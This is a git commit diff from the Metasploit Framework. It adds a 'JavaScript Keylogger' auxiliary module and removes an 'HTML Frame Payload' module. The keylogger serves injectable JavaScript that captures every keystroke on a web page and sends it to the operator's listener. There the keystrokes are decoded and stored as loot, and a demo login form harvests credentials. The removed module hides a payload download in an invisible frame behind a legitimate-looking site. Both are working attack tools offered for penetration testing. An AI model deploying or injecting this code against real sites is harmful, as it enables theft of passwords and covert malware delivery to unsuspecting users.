Adding Javascript Keylogger
parent
e70f9151e5
commit
3bfb8b3c9d
|
@ -0,0 +1,267 @@
|
|||
#
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Metasploit JavaScript Keylogger',
|
||||
'Description' => %q{
|
||||
This modules runs a HTTP Server to serves as a remote keylog listener
|
||||
to capture web page keystrokes.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>'],
|
||||
'Version' => '$Revision: $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.metasploit.com'],
|
||||
]))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]),
|
||||
OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]),
|
||||
OptBool.new('DEMO', [true, "Create a Demo Keylogger Page",false]),
|
||||
OptString.new('URIPATH', [true, "Recommended value is \"\/\"","/"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# This is the Demo Form Page <HTML>
|
||||
def demo
|
||||
html = <<EOS
|
||||
<html>
|
||||
<head>
|
||||
<title>Metasploit JavaScript Keylogger Demonstration Form</title>
|
||||
<script type="text/javascript" src="#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.js"></script>
|
||||
</head>
|
||||
<body bgcolor="white">
|
||||
<br><br>
|
||||
<div align="center">
|
||||
<h1>Metasploit<br>Javascript Keylogger Demo</h1>
|
||||
<form method=\"POST\" name=\"logonf\" action=\"#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit\">
|
||||
<p><font color="red"><i>This form submits data to the Metasploit listener <br>at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.</i></font>
|
||||
<br><br>
|
||||
<table border="0" cellspacing="0" cellpadding="0">
|
||||
<tr><td>Username:</td> <td><input name="userf" size="20"></td> </tr>
|
||||
<tr><td>Password:</td> <td><input type="password" name="passwordf" size="20"></td> </tr>
|
||||
</table>
|
||||
<p align="center"><input type="submit" value="Submit"></p></form>
|
||||
<p><font color="grey" size="2">Metasploit® is a registered trademark of Rapid7, Inc.</font>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
return html
|
||||
end
|
||||
|
||||
# This is the JavaScript Key Logger Code
|
||||
def keylogger
|
||||
code = <<EOS
|
||||
window.onload = function load#{@random_text}(){
|
||||
l#{@random_text} = ",";
|
||||
document.onkeypress = p#{@random_text};
|
||||
document.onkeydown = d#{@random_text};
|
||||
}
|
||||
function p#{@random_text}(e){
|
||||
k#{@random_text} = window.event.keyCode;
|
||||
k#{@random_text} = k#{@random_text}.toString(16);
|
||||
if (k#{@random_text} != "d"){
|
||||
#{@random_text}(k#{@random_text});
|
||||
}
|
||||
}
|
||||
function d#{@random_text}(e){
|
||||
k#{@random_text} = window.event.keyCode;
|
||||
if (k#{@random_text} == 9 || k#{@random_text} == 8 || k#{@random_text} == 13){
|
||||
#{@random_text}(k#{@random_text});
|
||||
}
|
||||
}
|
||||
function #{@random_text}(k#{@random_text}){
|
||||
l#{@random_text} = l#{@random_text} + k#{@random_text} + ",";
|
||||
if (window.XMLHttpRequest){
|
||||
xmlhttp=new XMLHttpRequest();
|
||||
}
|
||||
else{
|
||||
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
xmlhttp=new XMLHttpRequest();
|
||||
xmlhttp.open("GET","#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.bmp&[" + l#{@random_text} + "]",true);
|
||||
xmlhttp.send();
|
||||
}
|
||||
EOS
|
||||
return code
|
||||
end
|
||||
|
||||
def hex_to_s(log)
|
||||
@ascii_log = ""
|
||||
log.split(",").each do |char|
|
||||
case char.to_i
|
||||
# Do Backspace
|
||||
when 8
|
||||
if @ascii_log.present?
|
||||
if @ascii_log[@ascii_log.length - 4,@ascii_log.length] == "<CR>"
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 4]
|
||||
elsif @ascii_log[@ascii_log.length - 5,@ascii_log.length] == "<TAB>"
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 5]
|
||||
else
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 1]
|
||||
end
|
||||
end
|
||||
|
||||
when 9 then @ascii_log += "<TAB>"
|
||||
when 13 then @ascii_log += "<CR>"
|
||||
|
||||
else
|
||||
@ascii_log += char.to_s.hex.chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Creates Metasploit shield favicon
|
||||
def favicon
|
||||
ico = "000001000100101000000000000068050000160000002800000010000000200000000100"
|
||||
ico << "080000000000000100000000000000000000000100000000000000000000C5BDB5005534"
|
||||
ico << "1100FFFFFF002D1803006034060044250400673807004B290500D9D9D9004D2A05002515"
|
||||
ico << "040000000000000000000000"
|
||||
ico << "00" * 81 * 12
|
||||
ico << "000707000000000000000000000000000707070A00000000000000000000000707070A0A"
|
||||
ico << "0A000000000000000000070707070A0A0A0A0000000000000007030707070A0A0A010A00"
|
||||
ico << "000000000707030707070A0A0A09020A00000000070303070703090A0A09090A00000000"
|
||||
ico << "070303070703090A0A09090A0000000007030307050309080A09090A0000000007030307"
|
||||
ico << "070309040609090A0000000007030307030309090B09090A000000000703030303030909"
|
||||
ico << "0909090A000000000703030303070A090909090A000000000703030307070A0A0909090A"
|
||||
ico << "000000000707070707070A0A0A0A0A0A000000000007070707070A0A0A0A0A000000FE7F"
|
||||
ico << "0000FC3F0000F81F0000F00F0000E0070000C0030000C0030000C0030000C0030000C003"
|
||||
ico << "0000C0030000C0030000C0030000C0030000C0030000E0070000"
|
||||
ico = [ico].pack("H*")
|
||||
return ico
|
||||
end
|
||||
|
||||
# Creates a BMP image to make the requester happy
|
||||
def img
|
||||
bmp = '424D42000000000000003E00000028000000010000000100'
|
||||
bmp << '000001000100000000000400000000000000000000000000'
|
||||
bmp << '00000000000000000000FFFFFF0080000000'
|
||||
bmp = [bmp].pack("H*")
|
||||
return bmp
|
||||
end
|
||||
|
||||
# This handles reporting to the database
|
||||
def cleanup
|
||||
super
|
||||
path = store_loot("javascript.keystrokes", "text/plain", @host, @loot)
|
||||
print_status("Stored loot at #{path}")
|
||||
end
|
||||
|
||||
def current_time
|
||||
return Time.new.utc.strftime("[%d/%b/%Y:%H:%M:%S %Z]")
|
||||
end
|
||||
|
||||
# Creates and prints timestamp
|
||||
def request_timestamp(cli,request)
|
||||
print_status("#{cli.peerhost} - #{current_time} - [HTTP GET] - #{request.uri}")
|
||||
end
|
||||
|
||||
# This handles the HTTP responses for the Web server
|
||||
def on_request_uri(cli, request)
|
||||
@host = cli.peerhost
|
||||
|
||||
# Reply with JavaScript Source if *.js is requested
|
||||
if request.uri =~ /\.js/
|
||||
content_type = "text/plain"
|
||||
content = keylogger
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
|
||||
# JavaScript HTTP Image GET Request is used for sending the keystrokes over network.
|
||||
elsif request.uri =~ /\.bmp/
|
||||
content = img
|
||||
content_type = "image/bmp"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
log = request.uri.split("\.bmp&")[1]
|
||||
hex_to_s(log)
|
||||
@loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\r\n"
|
||||
if log.length > 1
|
||||
print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}")
|
||||
end
|
||||
|
||||
# Reply with Metasploit Shield Favicon
|
||||
elsif request.uri =~ /favicon\.ico/
|
||||
content = favicon
|
||||
content_type = "image/icon"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
|
||||
# Reply with Demo Page
|
||||
elsif request.uri =~ /metasploit/ and datastore['DEMO']
|
||||
content = demo
|
||||
content_type = "text/html"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
else
|
||||
# Reply with 404 - Content Not Found
|
||||
content = "Error 404 (Not Found)!"
|
||||
send_response(cli, "<html><title>#{content}</title><h1>#{content}</h1></html>", {'Content-Type' => 'text/html'})
|
||||
end
|
||||
end
|
||||
|
||||
def use_ssl?
|
||||
if datastore['SSL']
|
||||
@http_mode = "https://"
|
||||
else
|
||||
@http_mode = "http://"
|
||||
end
|
||||
end
|
||||
|
||||
def start_log
|
||||
@loot = ""
|
||||
logo = %Q{
|
||||
# cowsay++
|
||||
_________________________________
|
||||
< metasploit javascript keylogger >
|
||||
---------------------------------
|
||||
\\ ,__,
|
||||
\\ (oo)____
|
||||
(__) )\\
|
||||
||--|| *
|
||||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
Started at #{current_time}
|
||||
=====================================
|
||||
|
||||
}
|
||||
logo = logo.gsub("\t\t\t","")
|
||||
|
||||
@loot << logo
|
||||
|
||||
end
|
||||
# This is the module's main runtime method
|
||||
def run
|
||||
start_log
|
||||
use_ssl?
|
||||
@ascii_log = ""
|
||||
@random_text = Rex::Text.rand_text_alpha(12)
|
||||
script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js"
|
||||
|
||||
# Prints Demo Page
|
||||
if datastore['DEMO']
|
||||
print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr")
|
||||
end
|
||||
|
||||
# Prints HTML Embed Code
|
||||
print_status(" Keylogger <HTML> Code => %blu<script type=\"text/javascript\" src=\"#{script_source}\"></script>%clr")
|
||||
|
||||
# Starts Web Server
|
||||
exploit
|
||||
end
|
||||
end
|
|
@ -1,126 +0,0 @@
|
|||
#
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTML Frame Payload',
|
||||
'Description' => %q{
|
||||
This auxiliary module serves a payload via HTML frame.
|
||||
It serves a full browser frame to appear to be at a
|
||||
legit website and loads the payload in an unseen frame.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>'],
|
||||
'Version' => '$Revision: $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.metasploit.com'],
|
||||
]))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DISPLAY_URL', [false, "www.foo.tld - Webpage to display to victim."]),
|
||||
OptString.new('PAYLOAD_URL', [true, "foo.tld/exploit.jar - URL of payload."]),
|
||||
OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]),
|
||||
OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]),
|
||||
OptString.new('URIPATH', [false, "The URI to use for this module (default is \"/\")", "/"]),
|
||||
OptString.new('RHOST', [false, "DISPLAY_URL provides RHOST"]),
|
||||
OptString.new('RPORT', [false, "DISPLAY_URL Server Port", 80]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_title
|
||||
if datastore['DISPLAY_URL'] =~ /\//
|
||||
url = datastore['DISPLAY_URL']
|
||||
datastore['RHOST'] = url[0,url.index("/")]
|
||||
uri_path = url[url.index("/"),url.length - url.index("/")]
|
||||
else
|
||||
datastore['RHOST'] = datastore['DISPLAY_URL']
|
||||
uri_path = "\/"
|
||||
end
|
||||
|
||||
page = send_request_raw({
|
||||
'version' => '1.0',
|
||||
'uri' => "#{uri_path}",
|
||||
'method' => 'GET'}, 3)
|
||||
|
||||
if page
|
||||
page = page.to_s
|
||||
title = page[page.index("<title>") + 7, page.index("</title>") - page.index("<title>") - 7]
|
||||
end
|
||||
|
||||
return title
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri =~ /=/
|
||||
datastore['DISPLAY_URL'] = request.uri.split("=")[1]
|
||||
end
|
||||
|
||||
unless request.uri =~ /favicon/
|
||||
print_good("Displaying #{datastore['DISPLAY_URL']} to #{cli.peerhost}")
|
||||
end
|
||||
|
||||
content = %Q{<html>
|
||||
<head><title>#{get_title}</title></head>
|
||||
<frameset cols="100%,0%" noresize="noresize">
|
||||
<frame src="http://#{datastore['DISPLAY_URL']}" />
|
||||
<frame src="http://#{datastore['PAYLOAD_URL']}" />
|
||||
</frameset>
|
||||
</html>}
|
||||
|
||||
content = content.gsub("\t\t\t","")
|
||||
send_response(cli, content, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
msf > use auxiliary/server/html_frame_payload
|
||||
msf auxiliary(html_frame_payload) > show options
|
||||
|
||||
Module options (auxiliary/server/html_frame_payload):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DISPLAY_URL no www.foo.tld - Webpage to display to victim.
|
||||
PAYLOAD_URL yes foo.tld/exploit.jar - URL of payload.
|
||||
Proxies no Use a proxy chain
|
||||
RHOST no DISPLAY_URL provides RHOST
|
||||
RPORT 80 no DISPLAY_URL Server Port
|
||||
SRVHOST 192.168.171.153 yes Local HTTP Server IP Address
|
||||
SRVPORT 80 yes Local HTTP Server Port
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH / no The URI to use for this module (default is "/")
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf auxiliary(html_frame_payload) > set display_url www.metasploit.com/download/
|
||||
display_url => www.metasploit.com/download/
|
||||
msf auxiliary(html_frame_payload) > set payload_url downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
|
||||
payload_url => downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
|
||||
msf auxiliary(html_frame_payload) > run
|
||||
|
||||
[*] Using URL: http://192.168.171.153:80/
|
||||
[*] Server started.
|
||||
[+] Displaying www.metasploit.com/download/ to 192.168.171.153
|
||||
|
||||
=end
|
Loading…
Reference in New Issue